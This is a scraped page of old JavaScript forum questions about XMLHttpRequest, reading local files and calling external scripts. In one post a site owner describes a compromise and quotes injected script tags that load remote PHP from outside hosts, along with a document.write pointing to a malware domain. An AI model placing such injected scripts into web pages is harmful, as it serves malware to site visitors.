XMLHttpRequest Script - Works For Local XML Files But Not For External XML Files?

Oct 2, 2010

I have the following JavaScript (see below). The script requests an XML file from the server and displays it on the page.The script works fine when the requested XML file is stored on the same server as the script.The problem is when I try requesting an XML file from an external server such as the National Weather Service. I get an error. If I take the XML file from the National Weather Service and save it to my server it works. Why can't I use my script to request XML files stored on external servers?

Javascript Code

Code:

window.onload = initAll;
var xhr = false;
function initAll() {
document.getElementById("makeTextRequest").onclick = getNewFile;

[code]....

Not Displaying In Local Files

Jul 11, 2011

I have Win 7, IE9. I have a HTML file on my hard drive, with Javascript within. When I load the page, it keeps popping up Do u want to allow this content, I have to click to allow. I want to stop this, and after doing some searching I found the setting in Internet Options, Advanced - "Allow active content to run in files on my computer".

Perfect.

Doesnt work. When i check this box, the page loads without the warning, but then the Javascript just doesnt work. Getting quite annoying, because this file is my home page.

XMLHttpRequest IE6 Works Local But Not Live

Mar 25, 2010

I've got an external server with an application that retrieves some information to display on a page if available. Data should be returned as a JSon object. I've got this to work locally for all browsers but for some reason when I put it onto a live website it will not work for certain browsers...

Here the code...

Code:
var servletaddress = 'http://www.applicationaddress.com/DataR/';
function getJson (type) {
var httpRequest = getHttpRequest();

[Code]....

If I deploy a *.html file into a locally running Tomcat fro example, the web page requests the data from the external server on [URL] for all browsers I've tested.

If I put this section of code up onto a live environment e.g [URL] the JavaScript will no longer work in all browsers eg IE6 yet still works in Chrome & Firefox...

Normally this would be security settings or something on the browsers I guess but its the same browser window locally as externally.

Display Files From Local Directory

I need to make a page that will make a list of all the files in its folder and display the names of the files on the page. It needs to be able to work offline.

I know how to do this with php server side code, but this needs to be able to run on a memory stick. Is Javascript the best way to do this?

IE8 DocumentElement Is Null For Local Files?

May 18, 2010

My files are not hosted on a server using http. They come with many sound files to practice vocabulary. The problem is that IE8 does not give me the opportunity to load xml course info, I suspect it is because Microsoft might think IE is for network use only (funny they don't think that when MS Word is concerned). Everything works fine in opera and firefox but IE does not give me a documentElemet after loading the xml. Here is some code to reproduce:

Code:
<html>
<head>

Reading The Local Directory - Files

Mar 25, 2003

A script to read the current roots directory or filenames-list into a Javascript array?

Some say it is only possible by calling a JAVA applet method and returning the array as a public variable for Javascript to use...if so, has anyone done it and can provide a sample?

I am only trying to read directories & image files offline, on the current root level or perhaps up a folder, so I hope there are no security access issues to deal with.

Scan Files On A Local Hard Drive?

May 5, 2009

Is there a way to scan files on a local hard drive using Javascript? I'm trying to create a GUI for a program using html and js. As such the html files will only be accessed from the local machine using Firefox. I would like to avoid using server-side scripts, as I want to use this on a computer without server software installed. My overall objective is I want the javascript to scan all files (data plots I've made) in a directory on the local machine. The JS would create a list of possible dates based on which files were found, the user would then select the date which would then display the corresponding plot.

Uploading Files (PHP) To The Server From Local Machine Via Dreamweaver?

Feb 6, 2010

On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:

HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>

Iframe And External Files

Sep 2, 2007

<body>

<iframe name="alertiframe" id="alertiframe" width="1" height="1" src='xmlsample.html'></iframe>

<script>

function alertfunc()
{
sometext = window.frames['alertiframe'].document.all.tags['to'][0].innerHTML;
alert(sometext);
}

</script>

<a href="javascript:alertfunc()">Click Me</a>

I am working with an older browser more of MAC IE. It works with DOM 1 and extremely partially with DOM 2. contentDocument and contentWindow does not work on this browser.

The above code works very nicely, however as soon as I rename the file to "xmlsample.xml" with an xml extension, it does not work anywork. If you have any other solutions please let me know. Rem we can't use any newer techniques, this is very basic DOM.

Calling External JS Files

May 19, 2001

I have a question related to calling external JS files.

I have the following code in a .JS file:

document.writeln('<a href="http://www.xyz.com" TARGET="_BLANK" TITLE="For an online directory of distance graduate programs, click here!"> Click here!</a>');

It works perfectly...

I would like to add a mouseover command to it, i.e.:
onMouseOver="window.status='Click here now to visit Education.com!'return true" OnMouseOut="window.status=''return true"

I've used the correct slashes in the right places. However, it doesn't work; probably because I'm trying to place Javascript within Javascript. How can I place the onMouseOver command in the code at the top of this page?

Array Data Taken From External Files

Feb 22, 2006

I am working on JS navigation for my web page. Contents of 3 subpages
are located in the array as shown below. When certain key is pressed on
the page, div is filled with data taken from one of the array rows.

***
var content=new Array()
content[1]='<p>some text</p>'
content[2]='<p>some other text</p>'
content[3]='<p>yet another text</p>'
***

The question is: is it possible in some simple way to put the data from
those 3 rows into 3 separate files and make the JS code to take the data
from those files? (I want to have 3 files with plain HTML) If so, please
show me some example how to do that. Or give me some address where I can
read about it, please. I have been using Google for several hours -
unfortunately without any luck.

In general - here is what I would like to do:

***
var content=new Array()
content[1]=[contents of &#391;.html' file]
content[2]=[contents of &#392;.html' file]
content[3]=[contents of &#393;.html' file]
***

How can I put the above into JS code?
